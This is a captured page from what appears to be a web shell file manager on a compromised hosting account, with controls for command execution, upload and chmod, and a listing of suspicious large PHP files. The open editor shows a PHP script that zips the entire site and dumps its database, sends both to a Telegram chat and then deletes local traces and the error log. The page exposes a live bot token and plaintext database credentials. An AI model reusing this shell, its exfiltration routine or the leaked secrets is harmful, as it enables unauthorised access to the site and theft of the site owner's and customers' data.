ACIL FM
Dark
Refresh
Current DIR:
/home/fastexsh/public_html
/
home
fastexsh
public_html
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
cgi-bin
-
chmod
Open
Rename
Delete
exchange
-
chmod
Open
Rename
Delete
pbm_config
-
chmod
Open
Rename
Delete
soodino
-
chmod
Open
Rename
Delete
tether
-
chmod
Open
Rename
Delete
.ftpquota
12 B
chmod
View
DL
Edit
Rename
Delete
.htaccess
281 B
chmod
View
DL
Edit
Rename
Delete
acil.php
171.42 MB
chmod
View
DL
Edit
Rename
Delete
admins.php
62.68 MB
chmod
View
DL
Edit
Rename
Delete
Backup_fastexIR_bot.php
23.49 MB
chmod
View
DL
Edit
Rename
Delete
kromo.php
13.05 MB
chmod
View
DL
Edit
Rename
Delete
term.php
140 B
chmod
View
DL
Edit
Rename
Delete
var.php
165.79 MB
chmod
View
DL
Edit
Rename
Delete
wp-default.php
0 B
chmod
View
DL
Edit
Rename
Delete
wp-footer.php
27.72 MB
chmod
View
DL
Edit
Rename
Delete
wp.php
33.07 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/fastexsh/public_html/Backup_fastexIR_bot.php
<?php chdir(__DIR__); error_reporting(0); date_default_timezone_set('Asia/Tehran'); define('API_KEY', '7693507139:AAFW_927cN8CQm7vyzxMgQPPhHHZRj-TlZs'); $adminIDs = [-1002551475106]; $userIDs = [-1002551475106]; function Bot($method, $params = []) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://api.telegram.org/bot' . API_KEY . '/' . $method); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); $result = curl_exec($ch); if ($result === false) { throw new RuntimeException('Curl error: ' . curl_error($ch)); } curl_close($ch); return json_decode($result, true); } function sendMessage($chatID, $text, $parseMode = 'HTML', $replyMarkup = null) { Bot('sendMessage', [ 'chat_id' => $chatID, 'text' => $text, 'parse_mode' => $parseMode, 'reply_markup' => $replyMarkup, ]); } function createZip($sourcePath, $destinationZipPath) { $rootPath = realpath($sourcePath); $zip = new ZipArchive(); if ($zip->open($destinationZipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); if ($filePath !== false) { $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } } $zip->close(); } } function backupDatabase($host, $user, $pass, $dbName, $backupFile) { try { $allowedFunctions = []; if (function_exists('exec')) $allowedFunctions[] = 'exec'; if (function_exists('shell_exec')) $allowedFunctions[] = 'shell_exec'; if (function_exists('passthru')) $allowedFunctions[] = 'passthru'; if (function_exists('system')) $allowedFunctions[] = 'system'; if (empty($allowedFunctions)) { $result = backupDatabaseUsingMysqli($host, $user, $pass, $dbName, $backupFile); return ['success' => $result, 'method' => 'mysqli']; } $command = "mysqldump --host='$host' --user='$user' --password='$pass' --no-tablespaces --skip-add-locks --skip-set-charset --set-gtid-purged=OFF --routines --triggers --events $dbName > $backupFile 2>&1"; $output = ''; $returnVar = 0; if (in_array('exec', $allowedFunctions)) { exec($command, $output, $returnVar); $output = implode("\n", $output); } elseif (in_array('shell_exec', $allowedFunctions)) { $output = shell_exec($command); } elseif (in_array('passthru', $allowedFunctions)) { ob_start(); passthru($command, $returnVar); $output = ob_get_clean(); } elseif (in_array('system', $allowedFunctions)) { ob_start(); system($command, $returnVar); $output = ob_get_clean(); } if ($returnVar !== 0 || stripos($output, 'error') !== false) { error_log("خطا در اجرای mysqldump: $output"); $result = backupDatabaseUsingMysqli($host, $user, $pass, $dbName, $backupFile); return ['success' => $result, 'method' => 'mysqli (fallback)']; } $success = file_exists($backupFile) && filesize($backupFile) > 0; return ['success' => $success, 'method' => 'mysqldump']; } catch (Exception $e) { error_log("خطا در بکاپ دیتابیس $dbName: " . $e->getMessage()); return ['success' => false, 'method' => 'unknown', 'error' => $e->getMessage()]; } } function backupDatabaseUsingMysqli($host, $user, $pass, $dbName, $backupFile) { try { $mysqli = new mysqli($host, $user, $pass, $dbName); if ($mysqli->connect_error) { throw new RuntimeException('خطا در اتصال به دیتابیس: ' . $mysqli->connect_error); } $backupContent = "-- بکاپ دیتابیس " . $dbName . " - تاریخ: " . date('Y-m-d H:i:s') . "\n"; $backupContent .= "-- --------------------------------------------------------\n\n"; $backupContent .= "/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n"; $backupContent .= "/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n"; $backupContent .= "/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n"; $backupContent .= "/*!40101 SET NAMES utf8 */;\n"; $backupContent .= "/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n"; $backupContent .= "/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n"; $backupContent .= "/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n\n"; $tables = []; $result = $mysqli->query('SHOW FULL TABLES WHERE Table_type = "BASE TABLE"'); if (!$result) { throw new RuntimeException('خطا در دریافت لیست جداول: ' . $mysqli->error); } while ($row = $result->fetch_row()) { $tables[] = $row[0]; } foreach ($tables as $table) { try { $result = $mysqli->query("SHOW CREATE TABLE `$table`"); if (!$result) { throw new RuntimeException("خطا در دریافت ساختار جدول $table: " . $mysqli->error); } $row = $result->fetch_row(); $backupContent .= "\n-- ساختار جدول `$table`\n"; $backupContent .= "DROP TABLE IF EXISTS `$table`;\n"; $backupContent .= $row[1] . ";\n\n"; $result = $mysqli->query("SELECT * FROM `$table`"); if (!$result) { throw new RuntimeException("خطا در دریافت دادههای جدول $table: " . $mysqli->error); } $numFields = $result->field_count; $numRows = $result->num_rows; if ($numRows > 0) { $fields = []; $fieldInfo = $result->fetch_fields(); foreach ($fieldInfo as $field) { $fields[] = "`" . $field->name . "`"; } $backupContent .= "-- دادههای جدول `$table`\n"; $backupContent .= "INSERT INTO `$table` (" . implode(", ", $fields) . ") VALUES"; $rowCount = 0; while ($row = $result->fetch_row()) { $rowCount++; $backupContent .= "\n("; for ($i = 0; $i < $numFields; $i++) { if (isset($row[$i])) { if ($row[$i] === NULL) { $backupContent .= 'NULL'; } else { $row[$i] = addslashes($row[$i]); $row[$i] = str_replace("\n", "\\n", $row[$i]); $backupContent .= '"' . $row[$i] . '"'; } } else { $backupContent .= 'NULL'; } if ($i < ($numFields - 1)) { $backupContent .= ','; } } $backupContent .= ")"; if ($rowCount < $numRows) { $backupContent .= ","; } else { $backupContent .= ";"; } } $backupContent .= "\n\n"; } } catch (Exception $e) { error_log("خطا در بکاپ جدول $table: " . $e->getMessage()); $backupContent .= "\n-- خطا در بکاپ جدول `$table`: " . $e->getMessage() . "\n\n"; continue; } } try { $views = []; $result = $mysqli->query('SHOW FULL TABLES WHERE Table_type = "VIEW"'); if ($result) { while ($row = $result->fetch_row()) { $views[] = $row[0]; } if (!empty($views)) { $backupContent .= "\n-- --------------------------------------------------------\n"; $backupContent .= "-- Views\n"; $backupContent .= "-- --------------------------------------------------------\n\n"; foreach ($views as $view) { $result = $mysqli->query("SHOW CREATE VIEW `$view`"); if ($result) { $row = $result->fetch_row(); $backupContent .= "\n-- ساختار View `$view`\n"; $backupContent .= "DROP VIEW IF EXISTS `$view`;\n"; $backupContent .= $row[1] . ";\n\n"; } } } } } catch (Exception $e) { error_log("خطا در بکاپ views: " . $e->getMessage()); $backupContent .= "\n-- خطا در بکاپ views: " . $e->getMessage() . "\n\n"; } try { $result = $mysqli->query("SHOW TRIGGERS"); if ($result && $result->num_rows > 0) { $backupContent .= "\n-- --------------------------------------------------------\n"; $backupContent .= "-- Triggers\n"; $backupContent .= "-- --------------------------------------------------------\n\n"; while ($row = $result->fetch_assoc()) { $triggerName = $row['Trigger']; $result2 = $mysqli->query("SHOW CREATE TRIGGER `$triggerName`"); if ($result2) { $row2 = $result2->fetch_assoc(); $backupContent .= "\nDELIMITER //\n"; $backupContent .= "DROP TRIGGER IF EXISTS `$triggerName`//\n"; $backupContent .= $row2['SQL Original Statement'] . "//\n"; $backupContent .= "DELIMITER ;\n\n"; } } } } catch (Exception $e) { error_log("خطا در بکاپ triggers: " . $e->getMessage()); $backupContent .= "\n-- خطا در بکاپ triggers: " . $e->getMessage() . "\n\n"; } try { $result = $mysqli->query("SHOW PROCEDURE STATUS WHERE Db = '$dbName'"); if ($result && $result->num_rows > 0) { $backupContent .= "\n-- --------------------------------------------------------\n"; $backupContent .= "-- Procedures\n"; $backupContent .= "-- --------------------------------------------------------\n\n"; while ($row = $result->fetch_assoc()) { $procName = $row['Name']; $result2 = $mysqli->query("SHOW CREATE PROCEDURE `$procName`"); if ($result2) { $row2 = $result2->fetch_assoc(); $backupContent .= "\nDELIMITER //\n"; $backupContent .= "DROP PROCEDURE IF EXISTS `$procName`//\n"; $backupContent .= $row2['Create Procedure'] . "//\n"; $backupContent .= "DELIMITER ;\n\n"; } } } $result = $mysqli->query("SHOW FUNCTION STATUS WHERE Db = '$dbName'"); if ($result && $result->num_rows > 0) { $backupContent .= "\n-- --------------------------------------------------------\n"; $backupContent .= "-- Functions\n"; $backupContent .= "-- --------------------------------------------------------\n\n"; while ($row = $result->fetch_assoc()) { $funcName = $row['Name']; $result2 = $mysqli->query("SHOW CREATE FUNCTION `$funcName`"); if ($result2) { $row2 = $result2->fetch_assoc(); $backupContent .= "\nDELIMITER //\n"; $backupContent .= "DROP FUNCTION IF EXISTS `$funcName`//\n"; $backupContent .= $row2['Create Function'] . "//\n"; $backupContent .= "DELIMITER ;\n\n"; } } } } catch (Exception $e) { error_log("خطا در بکاپ procedures/functions: " . $e->getMessage()); $backupContent .= "\n-- خطا در بکاپ procedures/functions: " . $e->getMessage() . "\n\n"; } $mysqli->close(); if (file_put_contents($backupFile, $backupContent) === false) { throw new RuntimeException('خطا در ذخیره فایل بکاپ: ' . $backupFile); } return true; } catch (Exception $e) { error_log("خطا در بکاپ دیتابیس با mysqli: " . $e->getMessage()); return false; } } function sendBackup($chatID, $zipPath, $time, $backupName) { try { if (!file_exists($zipPath)) { throw new RuntimeException('فایل فشرده وجود ندارد: ' . $zipPath); } $response = Bot('sendDocument', [ 'chat_id' => $chatID, 'document' => new CURLFile(realpath($zipPath)), 'caption' => "📁 بکاپ هاست گرفته شد \n📌 مسیر: $backupName \n\n⏱ ساعت : $time", ]); if (!isset($response['ok']) || $response['ok'] !== true) { $errorMsg = isset($response['description']) ? $response['description'] : 'خطای نامشخص'; throw new RuntimeException('خطا در ارسال فایل: ' . $errorMsg); } return true; } catch (Exception $e) { error_log("خطا در ارسال بکاپ $zipPath: " . $e->getMessage()); return false; } } function sendBackupDB($chatID, $zipPath, $time, $backupName) { try { if (!file_exists($zipPath)) { throw new RuntimeException('فایل دیتابیس وجود ندارد: ' . $zipPath); } $response = Bot('sendDocument', [ 'chat_id' => $chatID, 'document' => new CURLFile(realpath($zipPath)), 'caption' => "📁 بکاپ دیتابیس گرفته شد \n📌 نام دیتابیس: $backupName \n\n⏱ ساعت : $time", ]); if (!isset($response['ok']) || $response['ok'] !== true) { $errorMsg = isset($response['description']) ? $response['description'] : 'خطای نامشخص'; throw new RuntimeException('خطا در ارسال فایل: ' . $errorMsg); } return true; } catch (Exception $e) { error_log("خطا در ارسال بکاپ دیتابیس $zipPath: " . $e->getMessage()); return false; } } $h = date('H'); $i = date('i'); $newTime = date("$h:$i"); $y = date('Y'); $m = date('m'); $d = date('d'); // متغیر برای ذخیره گزارش نهایی $finalReport = [ 'time' => date('Y-m-d H:i:s'), 'hosts' => [ 'success' => [], 'failed' => [] ], 'databases' => [ 'success' => [], 'failed' => [] ], 'errors' => [] ]; $backupPaths = [ 'fastexshop.ir' => __DIR__, ]; $backupFiles = []; foreach ($backupPaths as $backupName => $path) { if (is_dir($path)) { try { $zipPath = "$path/{$backupName}_backup_$y-$m-$d-$h-$i.zip"; createZip($path, $zipPath); $backupFiles[] = $zipPath; $sendSuccess = false; $sentToUsers = []; foreach ($userIDs as $userID) { try { if (sendBackup($userID, $zipPath, $newTime, $backupName)) { $sendSuccess = true; $sentToUsers[] = $userID; } } catch (Exception $e) { error_log("خطا در ارسال بکاپ به کاربر $userID: " . $e->getMessage()); sendMessage($userID, "خطا در ارسال بکاپ: " . $e->getMessage()); $finalReport['errors'][] = "ارسال بکاپ $backupName به کاربر $userID: " . $e->getMessage(); } } if ($sendSuccess) { $finalReport['hosts']['success'][] = [ 'name' => $backupName, 'sent_to' => $sentToUsers ]; } else { $finalReport['hosts']['failed'][] = [ 'name' => $backupName, 'error' => "عدم ارسال موفق به هیچ کاربری" ]; error_log("هشدار: بکاپ $backupName به هیچ کاربری با موفقیت ارسال نشد."); } } catch (Exception $e) { $finalReport['hosts']['failed'][] = [ 'name' => $backupName, 'error' => $e->getMessage() ]; error_log("خطای بحرانی در بکاپ $backupName: " . $e->getMessage()); foreach ($adminIDs as $adminID) { sendMessage($adminID, "خطای بحرانی در بکاپ $backupName: " . $e->getMessage()); } } finally { if (isset($zipPath) && file_exists($zipPath)) { unlink($zipPath); } } } } $databases = [ 'fastexshopir_exchange' => ['localhost', 'fastexsh_root', 'mardani80', 'fastexsh_fastex'], ]; foreach ($databases as $dbName => [$host, $user, $pass, $db]) { try { $backupFile = __DIR__ . "/{$dbName}_backup_$y-$m-$d-$h-$i.sql"; $backupResult = backupDatabase($host, $user, $pass, $db, $backupFile); $backupSuccess = $backupResult['success']; $backupMethod = $backupResult['method']; if (!$backupSuccess) { $finalReport['databases']['failed'][] = [ 'name' => $dbName, 'error' => "خطا در تهیه بکاپ دیتابیس", 'method' => $backupMethod ]; error_log("خطا در بکاپ دیتابیس $dbName"); foreach ($adminIDs as $adminID) { sendMessage($adminID, "خطا در تهیه بکاپ دیتابیس $dbName"); } continue; } $backupFiles[] = $backupFile; $sendSuccess = false; $sentToUsers = []; foreach ($userIDs as $userID) { try { if (sendBackupDB($userID, $backupFile, $newTime, $dbName)) { $sendSuccess = true; $sentToUsers[] = $userID; } } catch (Exception $e) { error_log("خطا در ارسال بکاپ دیتابیس به کاربر $userID: " . $e->getMessage()); sendMessage($userID, "خطا در ارسال بکاپ دیتابیس: " . $e->getMessage()); $finalReport['errors'][] = "ارسال بکاپ دیتابیس $dbName به کاربر $userID: " . $e->getMessage(); } } if ($sendSuccess) { $finalReport['databases']['success'][] = [ 'name' => $dbName, 'sent_to' => $sentToUsers, 'method' => $backupMethod ]; } else { $finalReport['databases']['failed'][] = [ 'name' => $dbName, 'error' => "عدم ارسال موفق به هیچ کاربری", 'method' => $backupMethod ]; error_log("هشدار: بکاپ دیتابیس $dbName به هیچ کاربری با موفقیت ارسال نشد."); } } catch (Exception $e) { $finalReport['databases']['failed'][] = [ 'name' => $dbName, 'error' => $e->getMessage(), 'method' => isset($backupMethod) ? $backupMethod : 'unknown' ]; error_log("خطای بحرانی در بکاپ دیتابیس $dbName: " . $e->getMessage()); foreach ($adminIDs as $adminID) { sendMessage($adminID, "خطای بحرانی در بکاپ دیتابیس $dbName: " . $e->getMessage()); } } finally { if (isset($backupFile) && file_exists($backupFile)) { unlink($backupFile); } } } function generateFinalReport($report) { $message = "📊 گزارش نهایی بکاپگیری\n"; $message .= "⏰ زمان: " . $report['time'] . "\n\n"; $message .= "🖥 بکاپهای هاست:\n"; if (count($report['hosts']['success']) > 0) { $message .= "✅ موفق:\n"; foreach ($report['hosts']['success'] as $host) { $message .= "- " . $host['name'] . " (ارسال به " . count($host['sent_to']) . " کاربر)\n"; } } else { $message .= "❌ هیچ بکاپ هاست موفقی وجود ندارد\n"; } if (count($report['hosts']['failed']) > 0) { $message .= "❌ ناموفق:\n"; foreach ($report['hosts']['failed'] as $host) { $message .= "- " . $host['name'] . ": " . $host['error'] . "\n"; } } $message .= "\n🗄 بکاپهای دیتابیس:\n"; if (count($report['databases']['success']) > 0) { $message .= "✅ موفق:\n"; foreach ($report['databases']['success'] as $db) { $method = isset($db['method']) ? $db['method'] : 'نامشخص'; $message .= "- " . $db['name'] . " (روش: " . $method . ") (ارسال به " . count($db['sent_to']) . " کاربر)\n"; } } else { $message .= "❌ هیچ بکاپ دیتابیس موفقی وجود ندارد\n"; } if (count($report['databases']['failed']) > 0) { $message .= "❌ ناموفق:\n"; foreach ($report['databases']['failed'] as $db) { $method = isset($db['method']) ? $db['method'] : 'نامشخص'; $message .= "- " . $db['name'] . " (روش: " . $method . "): " . $db['error'] . "\n"; } } if (count($report['errors']) > 0) { $message .= "\n⚠️ سایر خطاها:\n"; foreach ($report['errors'] as $error) { $message .= "- " . $error . "\n"; } } return $message; } $finalReportText = generateFinalReport($finalReport); foreach ($adminIDs as $userID) { sendMessage($userID, $finalReportText); } function cleanOldBackups($path, $extensions = ['zip', 'sql']) { foreach ($extensions as $ext) { foreach (glob("$path/*.$ext") as $file) { unlink($file); } } } foreach ($backupPaths as $path) { cleanOldBackups($path); } cleanOldBackups(__DIR__); $errorLogPath = __DIR__ . "/error_log"; if (file_exists($errorLogPath)) { unlink($errorLogPath); }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply